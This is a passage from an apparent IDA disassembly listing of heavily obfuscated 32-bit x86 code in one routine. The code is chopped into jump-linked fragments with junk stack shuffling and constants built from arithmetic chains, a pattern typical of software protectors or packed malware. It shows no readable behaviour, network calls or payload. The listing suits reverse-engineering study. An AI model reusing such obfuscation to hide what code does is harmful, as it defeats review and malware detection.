		xor	ecx, [esp+0A8h+var_A8]
		mov	esp, [esp+0A8h+var_A8]
		push	0DB5h
		mov	[esp+0ACh+var_AC], esi
		mov	esi, 43A475F9h
		jmp	loc_5C94C9
; ---------------------------------------------------------------------------


loc_5C4F4A:				; CODE XREF: sub_5A55E5+2E988j
		pop	eax
		push	36Eh
		mov	[esp+0ACh+var_AC], ecx
		push	edi
		jmp	loc_5CCB14
; ---------------------------------------------------------------------------


loc_5C4F59:				; CODE XREF: sub_5A55E5+1B466j
		add	esi, 7BE3387h
		push	ecx
		mov	ecx, 0A01F5428h
		xor	esi, ecx
		jmp	loc_5CE196
; ---------------------------------------------------------------------------


loc_5C4F6C:				; CODE XREF: sub_5A55E5+1B583j
		xchg	eax, [esp+86h+var_88+2]
		pop	esp
		push	eax
		push	2
		jmp	loc_5C7644
; ---------------------------------------------------------------------------


loc_5C4F7B:				; CODE XREF: sub_5A55E5+2B911j
		push	eax
		mov	eax, esp
		push	esi
		push	eax
		mov	eax, 0A024FF1h
		mov	esi, 0F5FDB013h
		add	esi, eax
		jmp	loc_5C5E77
; ---------------------------------------------------------------------------


loc_5C4F91:				; CODE XREF: sub_5A55E5+274C2j
		add	ecx, 4
		jmp	loc_5CD2F5
; ---------------------------------------------------------------------------


loc_5C4F9C:				; CODE XREF: sub_5A55E5+2C869j
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], esi
		jmp	loc_5C77C9
; ---------------------------------------------------------------------------


loc_5C4FAA:				; CODE XREF: sub_5A55E5+1FD3Aj
		pop	esp
		pop	ebp
		sub	eax, 63A63C1Bh
		sub	eax, ebx
		add	eax, 63A63C1Bh
		push	[esp+92h+var_94+2]
		pop	ebx
		push	edi
		push	74D9h
		mov	[esp+9Ah+var_9C+2], esp
		add	[esp+9Ah+var_9C+2], 4
		jmp	loc_5C3B8B
; ---------------------------------------------------------------------------


loc_5C4FCE:				; CODE XREF: sub_5A55E5+229A0j
		pop	edx
		mov	ecx, [esp+96h+var_98+2]
		add	esp, 4
		xor	dl, al
		xor	al, dl
		xor	dl, al
		dec	dl
		add	dl, 25h
		add	al, 0CFh
		jmp	loc_5CD3AD
; ---------------------------------------------------------------------------


loc_5C4FEA:				; CODE XREF: sub_5A55E5+21643j
		add	ebp, 96DBC16Dh
		or	edx, ebp
		pop	ebp
		push	eax
		jmp	loc_5D27C7
; ---------------------------------------------------------------------------


loc_5C4FF9:				; CODE XREF: sub_5A55E5+1BC3Aj
		push	eax
		jmp	loc_5CAF12
; ---------------------------------------------------------------------------


loc_5C4FFF:				; CODE XREF: sub_5A55E5+28135j
		add	esp, 4
		jmp	loc_5CE28B
; ---------------------------------------------------------------------------


loc_5C5007:				; CODE XREF: sub_5A55E5+247CBj
		mov	[esp+0A6h+var_A8+2], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		jmp	loc_5CD486
; ---------------------------------------------------------------------------


loc_5C501A:				; CODE XREF: sub_5A55E5+24072j
		mov	edi, 41916A97h
		xor	edx, edi
		pop	edi
		push	ebp
		mov	ebp, edx
		mov	edi, ebp
		pop	ebp
		pop	edx
		add	ebx, 191C5E7Eh
		add	ebx, edi
		sub	ebx, 191C5E7Eh
		push	[esp+9Eh+var_A0+2]
		pop	edi
		add	esp, 4
		xor	ebx, [esp+9Ah+var_9C+2]
		xor	[esp+9Ah+var_9C+2], ebx
		jmp	loc_5C1183
; ---------------------------------------------------------------------------


loc_5C504C:				; CODE XREF: sub_5A55E5+29C15j
		mov	esp, [esp+9Ah+var_9C+2]
		jmp	loc_5C0E3A
; ---------------------------------------------------------------------------


loc_5C5054:				; CODE XREF: sub_5A55E5+1A319j
		mov	edx, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_5D185D
; ---------------------------------------------------------------------------


loc_5C5062:				; CODE XREF: sub_5A55E5+20C6Aj
		pop	[esp+54h+var_54]
		pop	esp
		mov	[esp+0], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		and	eax, ebp
		push	dword ptr [esp+0]
		jmp	loc_5C6EC3
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+50h+var_50]
		push	559h
		mov	[esp+54h+var_54], edi
		sub	esp, 4
		mov	[esp+58h+var_58], esp
		add	[esp+58h+var_58], 4
		pop	edi
		jmp	loc_5CA226
; ---------------------------------------------------------------------------


loc_5C50A3:				; CODE XREF: sub_5A55E5+25820j
		add	al, 74h
		xor	dh, al
		pop	eax
		push	ebx
		sub	esp, 4
		jmp	loc_5CD338
; ---------------------------------------------------------------------------


loc_5C50B4:				; CODE XREF: sub_5A55E5+239B3j
		add	esi, 74E60EACh
		pop	edi
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_5D097E
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+58h+var_58]
		sub	esp, 4
		mov	[esp+5Ch+var_5C], ebx
		sub	esp, 4
		mov	[esp+60h+var_60], edx
		jmp	loc_5CDE3D
; ---------------------------------------------------------------------------


loc_5C50E0:				; CODE XREF: sub_5A55E5+2184Dj
		pop	esi
		push	7515h
		mov	[esp+60h+var_60], ebx
		mov	ebx, 4
		add	esi, ebx
		push	[esp+60h+var_60]
		pop	ebx
		push	eax
		mov	eax, esp
		jmp	loc_5C5EBA
; ---------------------------------------------------------------------------


loc_5C50FC:				; CODE XREF: sub_5A55E5+1CEEEj
		push	2D2Ch
		mov	[esp+96h+var_98+2], ecx
		mov	ecx, 4
		sub	edx, 515C43AEh
		add	edx, ecx
		add	edx, 515C43AEh
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp+92h+var_94+2]
		jmp	loc_5C8D09
; ---------------------------------------------------------------------------


loc_5C5123:				; CODE XREF: sub_5A55E5+226D7j
		mov	dh, bl
		dec	dh
		mov	bl, dh
		jmp	loc_5C672F
; ---------------------------------------------------------------------------


loc_5C512E:				; CODE XREF: sub_5A55E5+2E05Fj
		add	edi, ebp
		jmp	loc_5C19BB
; ---------------------------------------------------------------------------


loc_5C5135:				; CODE XREF: sub_5A55E5+2D36Fj
		sub	esp, 4
		mov	[esp+96h+var_98+2], esi
		sub	esp, 4
		jmp	loc_5C9AF0
; ---------------------------------------------------------------------------


loc_5C5149:				; CODE XREF: sub_5A55E5+1A5DDj
		mov	edx, 4
		add	[esp+8Eh+var_8C+2], edx
		pop	edx
		pop	edx
		jmp	loc_5D03F1
; ---------------------------------------------------------------------------


loc_5C5159:				; CODE XREF: sub_5A55E5+2E630j
		sub	esp, 4
		jmp	loc_5C2852
; ---------------------------------------------------------------------------


loc_5C5161:				; CODE XREF: sub_5A55E5+2A341j
		xor	edi, edx
		pop	edx
		add	ebp, edi
		pop	edi
		push	ebp
		push	[esp+86h+var_84+2]
		push	[esp+8Ah+var_8C+2]
		jmp	loc_5C56EB
; ---------------------------------------------------------------------------


loc_5C5174:				; CODE XREF: sub_5A55E5+1AE04j
		mov	eax, esi
		pop	esi
		push	esi
		jmp	loc_5C18B5
; ---------------------------------------------------------------------------


loc_5C517D:				; CODE XREF: sub_5A55E5+1A30Bj
		add	esp, 4
		jmp	loc_5C7AE5
; ---------------------------------------------------------------------------


loc_5C5185:				; CODE XREF: sub_5A55E5+241F8j
		dec	ebx
		shr	ebx, 3
		sub	ebx, 1
		push	edi
		mov	edi, 4DA16173h
		jmp	loc_5CB991
; ---------------------------------------------------------------------------


loc_5C519A:				; CODE XREF: sub_5A55E5+2A03Bj
		push	ebp
		jmp	loc_5CDA27
; ---------------------------------------------------------------------------


loc_5C51A0:				; CODE XREF: sub_5A55E5+1EDE2j
		push	ebp
		mov	ebp, 309F5D77h
		sub	esi, ebp
		pop	ebp
		push	edi
		mov	edi, 4DBB3A93h
		sub	esi, edi
		pop	edi
		push	0
		sub	[esp+94h+var_94], esi
		jmp	loc_5D0C17
; ---------------------------------------------------------------------------


loc_5C51BF:				; CODE XREF: sub_5A55E5+29EB5j
		mov	[esp+94h+var_94], edx
		push	17DAh
		mov	[esp+98h+var_98], ecx
		mov	cl, 8Fh
		jmp	loc_5C7F61
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+98h+var_98]
		jmp	loc_5C9579
; ---------------------------------------------------------------------------


loc_5C51DA:				; CODE XREF: sub_5A55E5+28577j
		mov	edx, [esp+98h+var_98]
		jmp	loc_5CDF9D
; ---------------------------------------------------------------------------


loc_5C51E2:				; CODE XREF: sub_5A55E5+1B71Aj
		sub	[esp+98h+var_94], edx
		mov	edx, [esp+98h+var_98]
		jmp	loc_5CD870
; ---------------------------------------------------------------------------


loc_5C51EE:				; CODE XREF: sub_5A55E5+26E39j
		mov	edx, 113E1EF1h
		inc	edx
		jmp	loc_5C438F
; ---------------------------------------------------------------------------


loc_5C51F9:				; CODE XREF: sub_5A55E5+262F8j
		push	ecx
		mov	ecx, esp
		jmp	loc_5CFD03
; ---------------------------------------------------------------------------


loc_5C5201:				; CODE XREF: sub_5A55E5+2BB75j
		mov	[esp+9Ch+var_9C], ecx
		mov	ecx, 2B6E3A95h
		add	ecx, 2C2603D5h
		inc	ecx
		sub	ecx, 3E2E4154h
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		push	esi
		mov	esi, 670B47F6h
		not	esi
		add	esi, 31F1296Ch
		push	eax
		mov	eax, 79CF35F3h
		neg	eax
		sub	eax, 1
		dec	eax
		xor	eax, 1352532Bh
		jmp	loc_5CEA05
; ---------------------------------------------------------------------------


loc_5C523E:				; CODE XREF: sub_5A55E5+1A3A5j
		pop	ecx
		push	edx
		mov	edx, 167B4C32h
		sub	ebx, edx
		pop	edx
		sub	ebx, 5FB42B5Dh
		sub	ebx, eax
		jmp	loc_5C879B
; ---------------------------------------------------------------------------


loc_5C5255:				; CODE XREF: sub_5A55E5+2C28Cj
		xor	dl, 69h
		jmp	loc_5C4A09
; ---------------------------------------------------------------------------


loc_5C525D:				; CODE XREF: sub_5A55E5+25FC4j
		mov	ebp, 73C74BA8h
		push	eax
		push	ebx
		mov	ebx, 69B73CF7h
		and	ebx, 23696DFAh
		add	ebx, 1A963309h
		mov	eax, ebx
		pop	ebx
		jmp	loc_5C7AED
; ---------------------------------------------------------------------------


loc_5C527D:				; CODE XREF: sub_5A55E5+1F77Dj
		and	dl, ah
		pop	eax
		jmp	loc_5C0E0A
; ---------------------------------------------------------------------------


loc_5C5285:				; CODE XREF: sub_5A55E5+23A86j
		mov	edx, 2
		mov	eax, edx
		pop	edx
		jmp	loc_5BFC0A
; ---------------------------------------------------------------------------


loc_5C5292:				; CODE XREF: sub_5A55E5+2D149j
		pop	esp
		push	esi
		push	esp
		push	[esp+9Ah+var_9C+2]
		jmp	loc_5C28C9
; ---------------------------------------------------------------------------


loc_5C529D:				; CODE XREF: sub_5A55E5+2D24Dj
		pop	ebp
		add	esi, 0FFFFFFFFh
		push	43E9h
		jmp	loc_5C06FB
; ---------------------------------------------------------------------------


loc_5C52AB:				; CODE XREF: sub_5A55E5+29971j
		mov	[esp+9Eh+var_A0+2], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5C8845
; ---------------------------------------------------------------------------


loc_5C52BB:				; CODE XREF: sub_5A55E5+1B0AAj
		mov	esp, [esp+8Ch+var_8C]
		jmp	loc_5C7E52
; ---------------------------------------------------------------------------


loc_5C52C3:				; CODE XREF: sub_5A55E5+2652Bj
		add	esp, 4
		add	esp, 4
		add	ebx, ebp
		mov	ebp, [esp+84h+var_84]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5CD804
; ---------------------------------------------------------------------------


loc_5C52DC:				; CODE XREF: sub_5A55E5+2A51Bj
		mov	edi, [esp+88h+var_88]
		jmp	loc_5CCCFE
; ---------------------------------------------------------------------------


loc_5C52E4:				; CODE XREF: sub_5A55E5+21C59j
		xor	ecx, 601053F8h
		add	eax, ecx
		pop	ecx
		pop	esi
		jmp	loc_5CCE09
; ---------------------------------------------------------------------------


loc_5C52F3:				; CODE XREF: sub_5A55E5+23F10j
		push	eax
		mov	eax, 1A7E7EB6h
		shl	eax, 1
		sub	eax, 0CFD7CD55h
		mov	ebp, eax
		pop	eax
		shr	ebp, 1
		add	ebp, 0E44C9182h
		add	ebx, ebp
		mov	ebp, [esp+80h+var_80]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+84h+var_84]
		jmp	loc_5C4FAA
; ---------------------------------------------------------------------------


loc_5C5324:				; CODE XREF: sub_5A55E5+2B0CAj
		mov	esi, 1CC1176Fh
		jmp	loc_5D1064
; ---------------------------------------------------------------------------


loc_5C532E:				; CODE XREF: sub_5A55E5+22CF5j
		sub	ebp, eax
		pop	eax
		sub	ebp, eax
		add	ebp, 7D3A755Dh
		push	edx
		mov	edx, 433F0FF1h
		sub	ebp, edx
		jmp	loc_5C116B
; ---------------------------------------------------------------------------


loc_5C5346:				; CODE XREF: sub_5A55E5+2B727j
		push	1C31h
		mov	[esp+88h+var_88], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 6C401A80h
		dec	esi
		or	esi, 19492CF3h
		jmp	loc_5CB07F
; ---------------------------------------------------------------------------


loc_5C5362:				; CODE XREF: sub_5A55E5+1B104j
		mov	ebp, 69A07C6Bh
		jmp	loc_5C67C8
; ---------------------------------------------------------------------------


loc_5C536C:				; CODE XREF: sub_5A55E5+21A4Aj
		mov	eax, esp
		jmp	loc_5C47E2
; ---------------------------------------------------------------------------


loc_5C5373:				; CODE XREF: sub_5A55E5+29AEAj
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp+0A0h+var_A0]
		jmp	loc_5D274A
; ---------------------------------------------------------------------------


loc_5C5382:				; CODE XREF: sub_5A55E5+28814j
		push	esi
		mov	esi, 72FE2FA8h
		jmp	loc_5CBBEF
; ---------------------------------------------------------------------------


loc_5C538D:				; CODE XREF: sub_5A55E5+289D9j
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5C0AF1
; ---------------------------------------------------------------------------


loc_5C539F:				; CODE XREF: sub_5A55E5+28BFAj
		not	ebp
		jmp	loc_5C3DA7
; ---------------------------------------------------------------------------


loc_5C53A6:				; CODE XREF: sub_5A55E5+2D191j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C53AB:				; CODE XREF: sub_5A55E5+1F2B3j
		dec	edi
		push	ebx
		jmp	loc_5D36AD
; ---------------------------------------------------------------------------


loc_5C53B2:				; CODE XREF: sub_5A55E5+2C7B5j
		add	esp, 4
		add	eax, 4
		jmp	loc_5C32A7
; ---------------------------------------------------------------------------


loc_5C53C0:				; CODE XREF: sub_5A55E5+2D8ACj
		mov	eax, 0
		sub	eax, ebx
		mov	ebx, eax
		pop	eax
		sub	ebx, 326C479Ch
		shl	ebx, 8
		and	ebx, 12530D2Ah
		xor	ebx, 29816BA7h
		sub	edx, ebx
		pop	ebx
		jmp	loc_5CB493
; ---------------------------------------------------------------------------


loc_5C53E7:				; CODE XREF: sub_5A55E5+1D17Bj
		push	ebp
		mov	ebp, esi
		mov	edi, ebp
		pop	ebp
		jmp	loc_5CB6F5
; ---------------------------------------------------------------------------


loc_5C53F2:				; CODE XREF: sub_5A55E5+27FD7j
		pop	ecx
		push	ebp
		mov	ebp, 776667B9h
		inc	ebp
		jmp	loc_5C24E3
; ---------------------------------------------------------------------------


loc_5C53FF:				; CODE XREF: sub_5A55E5+2D8E5j
		push	eax
		mov	ax, 73DDh
		or	ax, 6E41h
		shl	ax, 2
		add	ax, 2E59h
		jmp	loc_5CAE3B
; ---------------------------------------------------------------------------


loc_5C5415:				; CODE XREF: sub_5A55E5+23673j
		mov	ebp, edi
		pop	edi
		jmp	loc_5CC68F
; ---------------------------------------------------------------------------


loc_5C541D:				; CODE XREF: sub_5A55E5+23184j
		push	ecx
		mov	ecx, 22A66E64h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5CD6F3
; ---------------------------------------------------------------------------


loc_5C542B:				; CODE XREF: sub_5A55E5+1C42Cj
		xor	eax, 6AE1374Ch
		sub	edi, eax
		pop	eax
		pop	ebp
		add	esi, edi
		pop	edi
		push	esi
		push	[esp+0B2h+var_B0+2]
		pop	esi
		pop	[esp+0B2h+var_B4+2]
		pop	esp
		pop	[esp+0AAh+var_AC+2]
		push	[esp+0A6h+var_A8+2]
		jmp	loc_5C17C6
; ---------------------------------------------------------------------------


loc_5C544C:				; CODE XREF: sub_5A55E5+24F85j
		sub	esi, 4
		push	2CABh
		jmp	loc_5C8BBB
; ---------------------------------------------------------------------------


loc_5C5459:				; CODE XREF: sub_5A55E5+2C42Dj
		sub	esp, 4
		jmp	loc_5CC9EB
; ---------------------------------------------------------------------------


loc_5C5464:				; CODE XREF: sub_5A55E5+2E9A9j
		push	3B57h
		mov	[esp+0B6h+var_B8+2], ebp
		mov	ebp, 1A9303EFh
		push	ebp
		mov	ebp, 741C1798h
		dec	ebp
		push	ecx
		push	3D8AE1CFh
		jmp	loc_5C9627
; ---------------------------------------------------------------------------


loc_5C5483:				; CODE XREF: sub_5A55E5+26549j
		mov	eax, 34190548h
		sub	edi, eax
		jmp	loc_5C4742
; ---------------------------------------------------------------------------


loc_5C548F:				; CODE XREF: sub_5A55E5+25019j
		mov	edx, 13472332h
		add	edx, 0A0B95F2Fh
		add	esi, edx
		jmp	loc_5CB199
; ---------------------------------------------------------------------------


loc_5C54A1:				; CODE XREF: sub_5A55E5+25524j
		mov	ecx, 63371EFDh
		jmp	loc_5C9CAD
; ---------------------------------------------------------------------------


loc_5C54AB:				; CODE XREF: sub_5A55E5+2953Bj
		push	eax
		mov	eax, 2CF719FCh
		jmp	loc_5CCF8F
; ---------------------------------------------------------------------------


loc_5C54B6:				; CODE XREF: sub_5A55E5+235B1j
		pop	ecx
		xchg	edx, [esp+0C2h+var_C4+2]
		mov	esp, [esp+0C2h+var_C4+2]
		shr	ecx, 0Bh
		push	64DCh
		mov	[esp+0C6h+var_C8+2], edx
		sub	esp, 4
		mov	[esp+0CAh+var_CC+2], esi
		push	ebx
		push	[esp+0CEh+var_D0+2]
		pop	esi
		add	esp, 4
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0CAh+var_CC+2], edx
		mov	eax, [esp+0CAh+var_CC+2]
		add	esp, 4
		mov	edx, [esp+0C6h+var_C8+2]
		push	eax
		push	esp
		mov	eax, [esp+0CEh+var_D0+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0CEh+var_D0+2], edx
		mov	edx, 4
		jmp	loc_5C2809
; ---------------------------------------------------------------------------


loc_5C5506:				; CODE XREF: sub_5A55E5+1AA9Ej
		xor	esi, 9EF6CF7h
		sub	esp, 4
		mov	[esp+86h+var_88+2], ebp
		push	eax
		push	edi
		jmp	loc_5CBD6A
; ---------------------------------------------------------------------------


loc_5C5519:				; CODE XREF: sub_5A55E5+1A594j
		xor	bh, al
		jmp	loc_5CE140
; ---------------------------------------------------------------------------


loc_5C5520:				; CODE XREF: sub_5A55E5+1F158j
		mov	ebx, [esp+7Ah+var_7C+2]
		sub	esp, 4
		mov	[esp+7Eh+var_80+2], edx
		sub	esp, 4
		mov	[esp+82h+var_84+2], esp
		add	[esp+82h+var_84+2], 4
		push	[esp+82h+var_84+2]
		pop	edx
		add	esp, 4
		push	230Ch
		jmp	loc_5C5E13
; ---------------------------------------------------------------------------


loc_5C554D:				; CODE XREF: sub_5A55E5+1F241j
		push	eax
		mov	eax, 1
		push	eax
		mov	eax, 22673028h
		sub	ebx, eax
		pop	eax
		add	ebx, eax
		push	edi
		mov	edi, 22673028h
		add	ebx, edi
		pop	edi
		jmp	loc_5D1002
; ---------------------------------------------------------------------------


loc_5C556C:				; CODE XREF: sub_5A55E5+1C1DCj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+9Eh+var_A0+2]
		xor	[esp+9Eh+var_A0+2], edx
		xor	edx, [esp+9Eh+var_A0+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5D15F0
; ---------------------------------------------------------------------------


loc_5C5596:				; CODE XREF: sub_5A55E5+29733j
		add	edx, eax
		pop	eax
		not	edx
		sub	edx, 82A81F97h
		mov	ecx, edx
		mov	edx, [esp+9Ah+var_9C+2]
		add	esp, 4
		xor	edi, ecx
		pop	ecx
		xor	edi, 0D7244FFEh
		mov	ebp, edi
		pop	edi
		push	eax
		mov	eax, 5F6737FDh
		or	ebp, eax
		pop	eax
		add	ebp, 1
		push	eax
		push	161404Eh
		pop	eax
		shr	eax, 3
		or	eax, 389A1333h
		push	ebx
		mov	ebx, 418D7860h
		sub	ebx, 728C6604h
		inc	ebx
		sub	ebx, 947A0873h
		xor	eax, ebx
		pop	ebx
		not	eax
		neg	eax
		add	eax, 6FA3E461h
		sub	ebp, eax
		jmp	loc_5CF304
; ---------------------------------------------------------------------------


loc_5C55F6:				; CODE XREF: sub_5A55E5+2DE09j
		xor	edx, eax
		pop	eax
		add	esi, edx
		pop	edx
		sub	esi, 7B13EB04h
		xor	esi, 464432D3h
		xor	edi, esi
		pop	esi
		and	edi, 599A7E77h
		add	edi, 0EFEDF1DFh
		push	ebx
		mov	ebx, 3C6F12B5h
		sub	eax, ebx
		mov	ebx, [esp+8Ah+var_8C+2]
		push	eax
		mov	eax, esp
		jmp	loc_5C4B4B
; ---------------------------------------------------------------------------


loc_5C562A:				; CODE XREF: sub_5A55E5+28CF4j
		pop	ecx
		push	edx
		sub	esp, 4
		mov	[esp+92h+var_94+2], esp
		add	[esp+92h+var_94+2], 4
		pop	edx
		add	edx, 4
		push	esi
		push	ecx
		push	157Eh
		jmp	loc_5C412D
; ---------------------------------------------------------------------------


loc_5C564C:				; CODE XREF: sub_5A55E5+2D4EEj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C5651:				; CODE XREF: sub_5A55E5+1EE64j
		mov	ecx, 13A15A20h
		add	edi, 4C1F04C4h
		add	edi, ecx
		sub	edi, 4C1F04C4h
		pop	ecx
		pop	edx
		add	eax, edi
		jmp	loc_5CEB25
; ---------------------------------------------------------------------------


loc_5C566D:				; CODE XREF: sub_5A55E5+2A4B6j
		add	esp, 4
		mov	ebx, [esp+64h+var_64]
		jmp	loc_5CB584
; ---------------------------------------------------------------------------


loc_5C5678:				; CODE XREF: sub_5A55E5+26513j
		push	ebx
		mov	ebx, 50761052h
		sub	ebx, 78EC0486h
		and	ebx, 38D65586h
		push	esi
		mov	esi, 38331B86h
		neg	esi
		sub	esi, 307F16D2h
		jmp	loc_5C87DB
; ---------------------------------------------------------------------------
		align 2
		dw 0E9E8h
		dd 0FFFFF22Ch
; ---------------------------------------------------------------------------


loc_5C56A4:				; CODE XREF: sub_5A55E5+1AC70j
		pop	esp
		sub	esp, 4
		mov	[esp+80h+var_80], edi
		jmp	loc_5C09BD
; ---------------------------------------------------------------------------


loc_5C56B3:				; CODE XREF: sub_5A55E5+2642Bj
		push	edx
		mov	edx, 625F7EEEh
		shl	edx, 2
		jmp	loc_5C5F27
; ---------------------------------------------------------------------------


loc_5C56C1:				; CODE XREF: sub_5A55E5+1E0A0j
		push	1
		push	[esp+78h+var_78]
		pop	eax
		sub	esp, 4
		mov	[esp+7Ch+var_7C], ecx
		push	esp
		pop	ecx
		push	6027h
		mov	[esp+80h+var_80], edx
		push	esi
		push	4DA77A1Ch
		mov	esi, [esp+88h+var_88]
		add	esp, 4
		jmp	loc_5CF480
; ---------------------------------------------------------------------------


loc_5C56EB:				; CODE XREF: sub_5A55E5+1FB8Aj
		mov	ebp, [esp+8Eh+var_90+2]
		add	esp, 4
		add	esp, 4
		pop	[esp+86h+var_88+2]
		mov	esp, [esp+82h+var_84+2]
		mov	ax, word ptr [esp+82h+var_84+2]
		push	esi
		push	esp
		pop	esi
		push	ecx
		push	4
		pop	ecx
		add	esi, 9682E1Fh
		add	esi, ecx
		sub	esi, 9682E1Fh
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_5C0683
; ---------------------------------------------------------------------------


loc_5C5725:				; CODE XREF: sub_5A55E5+2B9D6j
		mov	[esp+8Ah+var_8C+2], edx
		jmp	loc_5C4AB4
; ---------------------------------------------------------------------------


loc_5C572D:				; CODE XREF: sub_5A55E5+212F3j
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_5CDF67
; ---------------------------------------------------------------------------


loc_5C5736:				; CODE XREF: sub_5A55E5+2D529j
		push	edi
		push	ebx
		mov	ebx, 2866423Ch
		mov	edi, 6EFB762Dh
		dec	edi
		xor	edi, 42836F24h
		and	edi, 551671E2h
		add	edi, 253E36BAh
		xor	edi, ebx
		pop	ebx
		mov	eax, 0FED7FA7Eh
		add	eax, edi
		jmp	loc_5D05B8
; ---------------------------------------------------------------------------


loc_5C5764:				; CODE XREF: sub_5A55E5+1C14Cj
		pop	eax
		shr	ebp, 5
		push	eax
		mov	eax, 205D2B40h
		sub	eax, 524262D0h
		jmp	loc_5C41FE
; ---------------------------------------------------------------------------


loc_5C5778:				; CODE XREF: sub_5A55E5+2AE9Cj
		inc	edx
		sub	edx, 4348572Ch
		sub	esp, 4
		mov	[esp+6Eh+var_70+2], ebx
		mov	ebx, 6AB40FB8h
		xor	ebx, 7BB12125h
		shr	ebx, 4
		shr	ebx, 8
		shl	ebx, 1
		and	ebx, 0FCC29F8h
		sub	ebx, 8FE9C628h
		add	edx, ebx
		pop	ebx
		mov	ebp, edx
		mov	edx, [esp+6Ah+var_6C+2]
		add	esp, 4
		sub	ebp, 28E46322h
		xor	esi, ebp
		jmp	loc_5CB408
; ---------------------------------------------------------------------------


loc_5C57C2:				; CODE XREF: sub_5A55E5+23FE2j
		mov	[esp+66h+var_68+2], esi
		mov	esi, 0FE61149Ah
		push	ebx
		mov	ebx, 12523673h
		jmp	loc_5C3DBF
; ---------------------------------------------------------------------------


loc_5C57D5:				; CODE XREF: sub_5A55E5+1B69Bj
		push	edx
		mov	dx, 5CB2h
		inc	dx
		add	dx, 59D3h
		add	dx, 1
		push	edi
		mov	di, 5E86h
		push	ecx
		mov	cx, 322Bh
		inc	cx
		not	cx
		inc	cx
		push	small 6237h
		mov	word ptr [esp+9Eh+var_A0+2], bp
		mov	bp, 5E6Ah
		and	cx, bp
		pop	bp
		shr	cx, 7
		add	cx, 33FCh
		sub	cx, 0C76Dh
		xor	di, cx
		pop	ecx
		shr	di, 3
		push	edx
		mov	dx, 6055h
		not	dx
		not	dx
		shr	dx, 3
		or	dx, 5707h
		or	dx, 6FADh
		add	dx, 9E50h
		or	di, dx
		mov	edx, [esp+9Ch+var_9C]
		push	ebp
		jmp	loc_5CA7C2
; ---------------------------------------------------------------------------


loc_5C5847:				; CODE XREF: sub_5A55E5+2D46Fj
		xor	ecx, 0B8135B9h
		jmp	loc_5CF4BC
; ---------------------------------------------------------------------------


loc_5C5852:				; CODE XREF: sub_5A55E5+2341Cj
		add	bl, 18h
		jmp	loc_5CC1F5
; ---------------------------------------------------------------------------


loc_5C585A:				; CODE XREF: sub_5A55E5+2ABCDj
		mov	ebp, 30010835h
		add	ebp, 50677C92h
		jmp	loc_5C6C21
; ---------------------------------------------------------------------------


loc_5C586A:				; CODE XREF: sub_5A55E5+2DF4Cj
		mov	ebx, 65AC32D9h
		add	[esp+0A0h+var_98], 2561251Ah
		sub	[esp+0A0h+var_98], ebx
		push	ebx
		mov	ebx, 2561251Ah
		sub	[esp+0A4h+var_98], ebx
		jmp	loc_5CCF7D
; ---------------------------------------------------------------------------


loc_5C588A:				; CODE XREF: sub_5A55E5+2138Fj
		add	edi, 4
		xchg	edi, [esp+0A4h+var_A4]
		pop	esp
		and	edx, 43280FC0h
		xor	edx, 1D42355Bh
		mov	eax, edx
		mov	edx, [esp+0A0h+var_A0]
		add	esp, 4
		push	4F8Bh
		jmp	loc_5C627F
; ---------------------------------------------------------------------------


loc_5C58B5:				; CODE XREF: sub_5A55E5+28248j
		pop	[esp+0A0h+var_A0]
		mov	esp, [esp+9Ch+var_9C]
		xor	ebx, [esp+9Ch+var_9C]
		xor	[esp+9Ch+var_9C], ebx
		jmp	loc_5D3318
; ---------------------------------------------------------------------------


loc_5C58C6:				; CODE XREF: sub_5A55E5+1E71Fj
		xor	[esp+82h+var_84+2], edi
		xor	edi, [esp+82h+var_84+2]
		mov	esp, [esp+82h+var_84+2]
		push	eax
		mov	eax, 675E0D43h
		add	[esp+86h+var_84+2], eax
		pop	eax
		push	ecx
		mov	ecx, 1B797E9Bh
		add	[esp+86h+var_84+2], ecx
		pop	ecx
		push	ecx
		mov	ecx, 5AFA2550h
		jmp	loc_5CF7F2
; ---------------------------------------------------------------------------


loc_5C58F0:				; CODE XREF: sub_5A55E5+1F49Cj
		add	edi, 3DCB6E62h
		sub	edi, 5761CFBh
		add	edi, ebx
		add	edi, 5761CFBh
		jmp	loc_5D3597
; ---------------------------------------------------------------------------


loc_5C5909:				; CODE XREF: sub_5A55E5+1DC81j
		mov	eax, 7A6C7C1Fh
		sub	esi, eax
		pop	eax
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+96h+var_98+2]
		pop	esp
		jmp	loc_5CDE2E
; ---------------------------------------------------------------------------


loc_5C5927:				; CODE XREF: sub_5A55E5+1DFEEj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0B2h+var_B4+2]
		pop	esp
		jmp	loc_5C3C8D
; ---------------------------------------------------------------------------


loc_5C5938:				; CODE XREF: sub_5A55E5+2B858j
		sub	edi, ecx
		pop	ecx
		mov	ebx, edi
		push	[esp+0AAh+var_AC+2]
		pop	edi
		push	ecx
		jmp	loc_5C0C97
; ---------------------------------------------------------------------------


loc_5C5947:				; CODE XREF: sub_5A55E5+27B26j
		push	1F51h
